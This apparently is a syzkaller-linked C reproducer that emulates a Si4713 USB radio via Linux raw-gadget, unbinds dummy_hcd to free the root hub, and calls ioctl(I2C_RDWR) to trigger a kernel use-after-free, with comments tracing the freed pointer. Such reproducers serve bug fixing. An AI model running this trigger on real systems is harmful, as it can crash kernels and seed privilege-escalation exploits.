// https://syzkaller.appspot.com/bug?id=5d3bf77f1e538fb992a1747236fa7eca2b79b998 #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define UDC_NAME_LENGTH_MAX 128 struct usb_raw_init { uint8_t driver_name[UDC_NAME_LENGTH_MAX]; uint8_t device_name[UDC_NAME_LENGTH_MAX]; uint8_t speed; }; enum usb_raw_event_type { USB_RAW_EVENT_INVALID = 0, USB_RAW_EVENT_CONNECT = 1, USB_RAW_EVENT_CONTROL = 2, }; struct usb_raw_event { uint32_t type; uint32_t length; uint8_t data[0]; }; struct usb_raw_ep_io { uint16_t ep; uint16_t flags; uint32_t length; uint8_t data[0]; }; #define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init) #define USB_RAW_IOCTL_RUN _IO('U', 1) #define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event) #define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io) #define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io) struct usb_device_descriptor dev_desc = { .bLength = 18, .bDescriptorType = 1, .bcdUSB = 0x0200, .bDeviceClass = 0, .bDeviceSubClass = 0, .bDeviceProtocol = 0, .bMaxPacketSize0 = 64, .idVendor = 0x10c4, // USB_SI4713_VENDOR .idProduct = 0x8244, // USB_SI4713_PRODUCT .bcdDevice = 0x0100, .iManufacturer = 0, .iProduct = 0, .iSerialNumber = 0, .bNumConfigurations = 1, }; struct { struct usb_config_descriptor config; struct usb_interface_descriptor intf; } __attribute__((packed)) config_desc = { .config = { .bLength = 9, .bDescriptorType = 2, .wTotalLength = 9 + 9, .bNumInterfaces = 1, .bConfigurationValue = 1, .iConfiguration = 0, .bmAttributes = 0x80, .bMaxPower = 50, }, .intf = { .bLength = 9, .bDescriptorType = 4, .bInterfaceNumber = 0, .bAlternateSetting = 0, .bNumEndpoints = 0, .bInterfaceClass = 3, // USB_CLASS_HID .bInterfaceSubClass = 0, .bInterfaceProtocol = 0, .iInterface = 0, } }; void raw_gadget_process() { prctl(PR_SET_PDEATHSIG, SIGKILL); int fd = open("/dev/raw-gadget", O_RDWR); if (fd < 0) { printf("[-] open /dev/raw-gadget failed: %s\n", strerror(errno)); exit(1); } printf("[+] open /dev/raw-gadget successful.\n"); struct usb_raw_init init = { .driver_name = "dummy_udc", .device_name = "dummy_udc.0", .speed = 2, // USB_SPEED_FULL }; DIR *dir = opendir("/sys/class/udc"); if (dir) { struct dirent *ent; while ((ent = readdir(dir)) != NULL) { if (ent->d_name[0] != '.') { strncpy((char *)init.device_name, ent->d_name, UDC_NAME_LENGTH_MAX - 1); break; } } closedir(dir); } if (ioctl(fd, USB_RAW_IOCTL_INIT, &init) < 0) { printf("[-] USB_RAW_IOCTL_INIT failed: %s\n", strerror(errno)); exit(1); } printf("[+] USB_RAW_IOCTL_INIT successful.\n"); if (ioctl(fd, USB_RAW_IOCTL_RUN, 0) < 0) { printf("[-] USB_RAW_IOCTL_RUN failed: %s\n", strerror(errno)); exit(1); } printf("[+] USB_RAW_IOCTL_RUN successful.\n"); while (1) { char event_buf[1024]; struct usb_raw_event *event = (struct usb_raw_event *)event_buf; event->type = 0; event->length = sizeof(event_buf) - sizeof(*event); if (ioctl(fd, USB_RAW_IOCTL_EVENT_FETCH, event) < 0) { sleep(1); continue; } if (event->type == USB_RAW_EVENT_CONTROL) { struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event->data; char io_buf[1024]; struct usb_raw_ep_io *io = (struct usb_raw_ep_io *)io_buf; io->ep = 0; io->flags = 0; io->length = 0; int is_in = req->bRequestType & USB_DIR_IN; if (req->bRequestType == 0x80 && req->bRequest == 0x06) { // GET_DESCRIPTOR if ((req->wValue >> 8) == 1) { // Device io->length = sizeof(dev_desc); if (io->length > req->wLength) io->length = req->wLength; memcpy(io->data, &dev_desc, io->length); } else if ((req->wValue >> 8) == 2) { // Config io->length = sizeof(config_desc); if (io->length > req->wLength) io->length = req->wLength; memcpy(io->data, &config_desc, io->length); } } else if (req->bRequestType == 0xa1 && req->bRequest == 0x01) { // GET_REPORT (I2C read emulation) io->length = 64; // BUFFER_LENGTH if (io->length > req->wLength) io->length = req->wLength; memset(io->data, 0, io->length); if (io->length > 1) io->data[1] = 0; if (io->length > 2) io->data[2] = 0x81; // SI4713_CTS | SI4713_STC_INT if (io->length > 3) io->data[3] = 0x0D; // SI4713_PRODUCT_NUMBER } else if (is_in) { io->length = req->wLength; if (io->length > 1000) io->length = 1000; memset(io->data, 0, io->length); } else { io->length = req->wLength; if (io->length > 1000) io->length = 1000; } if (is_in) { ioctl(fd, USB_RAW_IOCTL_EP0_WRITE, io); } else { ioctl(fd, USB_RAW_IOCTL_EP0_READ, io); } } } exit(0); } char *find_radio_device_sysfs(void) { DIR *dir = opendir("/sys/class/video4linux"); if (!dir) return NULL; struct dirent *entry; char *found_path = NULL; while ((entry = readdir(dir)) != NULL) { if (strncmp(entry->d_name, "radio", 5) == 0) { char name_path[512]; snprintf(name_path, sizeof(name_path), "/sys/class/video4linux/%s/name", entry->d_name); FILE *f = fopen(name_path, "r"); if (f) { char buf[256]; if (fgets(buf, sizeof(buf), f)) { if (strncmp(buf, "radio-usb-si4713", 16) == 0) { char dev_path[128]; snprintf(dev_path, sizeof(dev_path), "/dev/%s", entry->d_name); found_path = strdup(dev_path); fclose(f); break; } } fclose(f); } } } closedir(dir); return found_path; } char *find_i2c_device_sysfs(void) { DIR *dir = opendir("/sys/class/i2c-dev"); if (!dir) return NULL; struct dirent *entry; char *found_path = NULL; while ((entry = readdir(dir)) != NULL) { if (strncmp(entry->d_name, "i2c-", 4) == 0) { char name_path[512]; snprintf(name_path, sizeof(name_path), "/sys/class/i2c-dev/%s/name", entry->d_name); FILE *f = fopen(name_path, "r"); if (f) { char buf[256]; if (fgets(buf, sizeof(buf), f)) { if (strncmp(buf, "si4713-i2c", 10) == 0) { char dev_path[128]; snprintf(dev_path, sizeof(dev_path), "/dev/%s", entry->d_name); found_path = strdup(dev_path); fclose(f); break; } } fclose(f); } } } closedir(dir); return found_path; } void unbind_dummy_hcd(void) { int unbind_fd = open("/sys/bus/platform/drivers/dummy_hcd/unbind", O_WRONLY); if (unbind_fd >= 0) { for (int i = 0; i < 8; i++) { char name[32]; sprintf(name, "dummy_hcd.%d", i); if (write(unbind_fd, name, strlen(name)) >= 0) { printf("[+] Unbound %s\n", name); } } close(unbind_fd); } else { printf("[-] Failed to open unbind: %s\n", strerror(errno)); } } int main() { pid_t pid = fork(); if (pid < 0) { printf("[-] fork failed: %s\n", strerror(errno)); return 1; } if (pid == 0) { raw_gadget_process(); } printf("[+] fork successful.\n"); // Wait for the kernel to probe the driver and create device nodes int found = 0; char *radio_dev = NULL; char *i2c_dev = NULL; for (int i = 0; i < 10; i++) { sleep(1); if (!radio_dev) radio_dev = find_radio_device_sysfs(); if (!i2c_dev) i2c_dev = find_i2c_device_sysfs(); if (radio_dev && i2c_dev) { found = 1; break; } } if (!found) { printf("[-] Could not find radio or i2c device\n"); kill(pid, SIGKILL); return 1; } printf("[+] Found radio device: %s\n", radio_dev); printf("[+] Found i2c device: %s\n", i2c_dev); int radio_fd = open(radio_dev, O_RDWR); if (radio_fd < 0) { printf("[-] open radio device failed: %s\n", strerror(errno)); kill(pid, SIGKILL); return 1; } printf("[+] open radio device successful.\n"); int i2c_fd = open(i2c_dev, O_RDWR); if (i2c_fd < 0) { printf("[-] open i2c device failed: %s\n", strerror(errno)); kill(pid, SIGKILL); return 1; } printf("[+] open i2c device successful.\n"); // Disconnect Device: Unbind dummy_hcd to free the root hub. // The usb_device will be unregistered, dropping its reference to the root hub. // The root hub will be freed. // But the i2c_adapter will remain registered because the radio_fd is still open. // The i2c_adapter holds a reference to the usb_device, so the usb_device is NOT freed. // However, usb_device->dev.parent points to the freed root hub. printf("[*] Unbinding dummy_hcd to free root hub...\n"); unbind_dummy_hcd(); printf("[+] Unbind process completed.\n"); // Give the kernel a moment to process the disconnect and free the root hub sleep(2); // Trigger UAF: Call ioctl(I2C_RDWR) on the i2c_fd. // This will access adapter->dev.parent->parent->type, which points to the freed root hub. printf("[*] Calling ioctl(I2C_RDWR) to trigger UAF...\n"); char buf[1] = {0}; struct i2c_msg msg = { .addr = 0x10, .flags = 0, .len = 1, .buf = buf }; struct i2c_rdwr_ioctl_data rdwr = { .msgs = &msg, .nmsgs = 1 }; ioctl(i2c_fd, I2C_RDWR, &rdwr); printf("[+] ioctl(I2C_RDWR) completed.\n"); // Keep the program alive so the file descriptors are not closed sleep(5); return 0; }